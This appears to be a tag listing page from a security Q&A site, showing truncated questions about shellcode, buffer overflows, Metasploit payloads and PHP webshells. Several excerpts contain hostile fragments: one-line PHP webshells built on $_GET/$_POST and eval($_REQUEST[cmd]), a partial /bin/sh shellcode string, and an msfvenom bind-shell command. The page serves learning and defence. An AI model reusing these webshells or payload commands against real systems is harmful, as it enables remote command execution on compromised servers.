Questions tagged [shellcode]
In computer security, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
236
questions
11
votes
1
answer
2k
views
Does analysing Malicious code in gdb pose a security risk?
I have encountered a Malicious Shell-Code & i have ported the shellcode into a compatible C Code which can run the shellcode, i compiled it using
gcc -fno-stack-protector -z execstack shellcode.c ...
- 464
5
votes
1
answer
9k
views
Error Running command shell :TimeoutError Operation Time out
I am Testing a Payload linux/x86/meterpreter/reverse_tcp in my Test Linux network to Exploit, I got a Meterpreter Session by Metasploit using it, I tried several commands like getuid, cat and all ...
- 464
1
vote
2
answers
6k
views
Execute PHP inside PNG using curl
I'm doing some testing on executing remote PHP via PHP hidden inside a PNG file.
I've got a PNG file on my server with the following PHP code stored inside the PNG file.
<?=$_GET[0]($_POST[1]);?&...
- 165
4
votes
1
answer
2k
views
Is it possible to use the Linux "echo" command maliciously?
While testing a web application today, I came across a function that passed arguments to dig in linux terminal. After some fiddling about I was able to pass the echo command using pipes and echo my ...
- 397
3
votes
1
answer
725
views
PHP code in filename located in /tmp folder. How worried should I be?
I recently discovered a hidden file in /tmp owned by proftpd that worries me a bit:
-rw-r--r-- 1 proftpd nogroup <timestamp> 86 .<?php eval($_REQUEST[cmd]); ?>
I ...
- 33
5
votes
2
answers
6k
views
Shellcode in a jpg/png
If it's possible to write shellcode in a jpg file, why aren't all the webapps where you can upload an image infected?
In a client computer, is it necessary exploit the jpg viewer in order to run the ...
- 127
2
votes
1
answer
556
views
Why are PID suffixed temporary files a vulnerability
Why is this a security issue?
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=820331
>
> very predictable temporary files (like
> /tmp/cronic.out.$$) that depends only on PID:
> ...
- 161
6
votes
2
answers
2k
views
C shellcode explanation
I've found this shellcode at https://www.exploit-db.com/exploits/39624/:
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\...
- 163
4
votes
3
answers
5k
views
Install a vulnerable service for Windows 7
I have some kind of a project or demonstration, where I have to exploit Windows 7 to get a remote shell.
I did a vulnerability scan with nessus on my Windows 7 machine, but I didn't find any kind of ...
- 679
-1
votes
1
answer
454
views
During a penetration test, when is it preferable to use reverse HTTP payload and when reverse TCP payload? [closed]
I'm using Veil Evasion and Metasploit.
- 31
4
votes
0
answers
754
views
C program - exploit program (after seg fault)
The program below takes three parameters - Base to convert from, base to convert to and the number to convert in binary
As part of learning security - I am trying to buffer overflow this program. I ...
- 49
2
votes
1
answer
460
views
Is my understanding of buffer overflows correct?
I am new to pentesting and wondering if my current understanding of buffer overflow exploits is correct. Assuming an operating address space of 3 addresses, an instruction space of 2 addresses, and an ...
3
votes
2
answers
127
views
Is there any downside to always declaring some default bad chars when generating exploits?
When setting the bad chars for shell code, is there any downside to just assuming that you should mark \x00 and \x0a as bad?
- 1,297
3
votes
1
answer
116
views
Reason behind HeapSpray format
I am curious as to why heap spraying consists of allocating repeated chunks of NOP + Shellcode? Why is the format not repeating NOP and then just Shellcode at the end; when the stack pivot occurs ...
- 737
1
vote
1
answer
190
views
What is the purpose of enclosing process spawning?
This file/script is supposed to scan for outdated Node modules and prompt the developer to update them, however I believe it is malware.
The instructions were to download the file, set the executable ...
- 2,257
0
votes
1
answer
700
views
Dealing with a malware infected server
I have a web server which is heavily infected by malware. That is, around 12 websites (Outdated CMS) are infected by PHP shells and XSS. My websites are banned and are not accessible anymore. I have ...
- 191
2
votes
3
answers
304
views
vulnerable webapp pentest challenge
So I have this challenge in pentesting to get a shell on a vulnerable webapp. I am an authenticated user and I know that the vulnerable app is kcfinder-2.51 which is a plugin for ckeditor_3.6.4.
I am ...
- 412
-1
votes
1
answer
338
views
Understanding HTTP response from Linux Server
I am working through a question that involves someone using a vulnerability in a Linux server in order to gain access to it. The first part of the question states
In monitoring the network activity ...
- 119
2
votes
2
answers
3k
views
Why do we have to put the shellcode before the return address in the buffer overflow?
I'd like to know why we have to put the shellcode before the return address in a buffer overflow. Logically the return address will point to the shellcode and will be executed, so the return address ...
- 23
2
votes
2
answers
16k
views
MSFvenom doesn’t generate raw shellcode output properly
I'm doing the Windows Buffer Overflow Exploitation section of the OSCP course, and the author uses a combination of msfpayload and msfencode to generate a windows/shell_reverse_tcp payload encoded ...
- 71
-2
votes
1
answer
215
views
What is the language below and where can I learn it? [closed]
As I am subscribed to the Exploit-DB Twitter feed, I see many exploits with code looking like this:
\x3c\x68\x74\x6d\x6c\x3e\x0d\x0a\x3c\x6d\x65\x74\x61\x20\x68\x74\x74\x70\x2d\x65\x71\x75\x69\x76
I ...
- 1
1
vote
1
answer
1k
views
What are the privileges of shell spawn by a shellcode?
After I see some examples of shellcodes in various exploit examples they try to spawn a shell.
I want to understand why after spawn the shell have privileged access?
Doesn't the shell should have ...
- 41
3
votes
3
answers
2k
views
Decrypt Java Payload
I found some destructive activity on my JBoss server and after a lot of google searching I found this exploit https://www.exploit-db.com/exploits/36575/ .
I know the attacker uses this exploit to ...
- 61
8
votes
1
answer
5k
views
Program getting exploited inside gdb, new shell is spawned but terminated immediately
I am trying to exploit a SUID program.
The program is:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#define e(); if(((unsigned int)ptr &...
6
votes
1
answer
9k
views
Removing null bytes from shell code
I am learning the basics of shell coding so that I can learn to exploit buffer overflows. The problem is, the example byte code that I wrote contains null bytes. Here is the example:
xor %edi,%...
- 326
1
vote
0
answers
1k
views
Sysinternals tool suite not working on low priv shell
Currently oscp student. I asked this on the oscp forum yesterday, but no responses so far. I am new to infosec, but have 18 years of education / work experience in IT.
As far as I can tell, ...
- 215
9
votes
2
answers
8k
views
How does getting a remote shell via exploiting a vulnerability really work?
I can understand what a buffer overflow is and that it allows you to write in places of the memory that you shouldn't be able to. I can also grasp the concept that there may be other software ...
- 229
2
votes
1
answer
1k
views
Prevent shell script inside image file
Recently, one of my website was hacked by someone who uploaded an image (shell.gif) to my server.
I have put server side validation to check file extension + mime type of the image. However, they are ...
- 327
1
vote
2
answers
2k
views
Code Vulnerability in Shell script
I was given an assignment for my Computer Security class. We we were given a piece of code to analyze and determine the vulnerabilities that it might have.
#!/bin/sh
# shell script to create a copy ...
- 13
1
vote
0
answers
305
views
Buffer overflow and register contents?
I am doing an exam practice question, suppose I have a function like;
void func(char* arg)
{
char buf[32];
strcpy(buf, arg);
}
command break func:
-buf begins at 0xbffebfb0
-(gdb) x/2wx $...
- 45
-4
votes
1
answer
579
views
Why is my reverse_https payload running at 0.0.0.0:443?
I created a reverse_https backdoor ( windows/meterpreter/reverse_https ) with msfpayload. Now I want to create a reverse shell from my target with a multi handler.
The problem is that when I ...
- 159
1
vote
0
answers
2k
views
How does Metasploit's payload work with a remote target?
I have some simple questions. I often use Metasploit in my pentest engagements.
It works fine when I'm inside a local network. Okay, we know that, when the payload is injected properly, it will give ...
- 72
1
vote
1
answer
396
views
Possible shellcode mailed to me
When I opened my email this morning I found a rather odd message in my mail box. It didn't seem like your every day spam email as it looked like a base64 encoded string and nothing else. Here is a ...
- 882
3
votes
0
answers
2k
views
What exactly is shellcode? [closed]
What is shellcode and how does it work? I used to think it was just a binary string encoded with hex, but I recently started reading more and it seems it is something completely different. I know it ...
- 83
0
votes
1
answer
5k
views
How does the NOP sled work with MSFVenom? [closed]
I'm generating payloads with MSFVenom and here's a sample output:
user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python
No platform was selected, choosing ...
- 1,447
0
votes
0
answers
102
views
unable to execute shellcode,which is place on stack [duplicate]
I am trying to execute the shellcode to spawn an "sh" shell.
I have taken shellcode as command line arguement,copied it to stack and tried to overwrite the return address of main function with the ...
- 191
0
votes
1
answer
719
views
Intercept Android's http/https traffic with shell access [closed]
Assuming you have a shell access on a rooted Android device. Let's say the shell was given upon an exploitation, eg. Android Webview vulnerability. The question is what is the best way to intercept ...
- 43
22
votes
8
answers
15k
views
PHP malware/shell keeps resurrecting [duplicate]
So I've been fighting this problem for months now and decided that it's beyond my limited (if at all) server skills, and that I need help from the pros.
I have a VPS (with root access) which hosts ...
- 321
2
votes
1
answer
740
views
Execute form environmental variable while stack is not executable
Strange thing happened. I created EGG=NOPs + shellcode. Then i get the address of EGG;
I made buffer overflow and jumped to it and get the shell(address of shell is the second parametr). How is this ...
- 21
-1
votes
1
answer
1k
views
MySQL vs MSSQL injection to shell uploading [closed]
What is the difference between uploading a shell via sqli in mysql vs mssql?
0
votes
2
answers
243
views
Safe to use setuid with absolutely no input?
I have a shell script which syncs some files from a remote source and I have a pretty typical HTTP server set-up. There is a user who owns the files served by the HTTP server and a user which runs the ...
- 8,494
-2
votes
2
answers
1k
views
Cannot get simple shellcode runner to work [closed]
I'm just trying to execute shellcode directly from the command line. I send a simple 0x90 NOP and get a segmentation fault?
root@server:~# gcc shellcode.c -o shellrun -fno-stack-protector -z ...
- 21
4
votes
3
answers
9k
views
Program exiting after executing int 0x80 instruction when running shellcode
In school I was given an assignment to perform a buffer overflow, which would execute some shellcode and open a new shell. After a bit of fiddling the buffer overflow succeeded, and when I ran the ...
- 153
0
votes
1
answer
3k
views
Backdoor under Akismet wordpress plugin
my site recently got hacked or my users leaked out their passwords. The hacker install this plugin with a shell or backdoor in it. The file name is the "honda.zip" and inside is some Akismet plugin's ...
- 13
-1
votes
1
answer
483
views
Why should I use ROP for exploit dev? [closed]
Return Oriented Programming is a technique for bypassing DEP which based on ret2libc..
ROP is used for formatting the API function parameters in order to make a reliable shellcode..
I dont get ...
2
votes
1
answer
334
views
Are stack buffer overflows even possible in this instance?
Let's say there is a C program that simply takes a string argv[1] and uses sprintf to copy it in a finite buffer. Classic stack buffer overflow. Let's even say the program is more complicated, ...
- 21
0
votes
1
answer
3k
views
Are shell scripts / bash inherently less secure than other (script) languages such as python?
Are shell scripts / bash suitable for any kind of task as long as the developer(s) write correct, security bug free scripts?
Or are shell scripts / bash less advisable for some tasks such as parsing ...
- 744
1
vote
1
answer
2k
views
Execute a remote PHP shell which is inside a file I dont have permission to access
Hi need some help here.
I am trying to exploit an unsanitized file upload with a PHP backdoor. Basically the file uploads successfully and I can see my backdoor inside the web applications /images/ ...
user54897
0
votes
1
answer
682
views
Which shell is more secure, mksh or bash?
Which shell is more secure, mksh or bash?
There has been some discussion pointing into the direction, that mksh is more secure.
How to come to that conclusion? By looking which code was more audited ...
- 744
3
votes
2
answers
2k
views
PHP shellcode inside /tmp. Is the server compromised?
I have a Debian 7 VPS that runs Nginx, PHP5-FPM and MariaDB. This server runs a couple of WordPress installations, phpMyAdmin and Roundcube Webmail. One is my personal blog running WP 3.9.1 and ...
- 418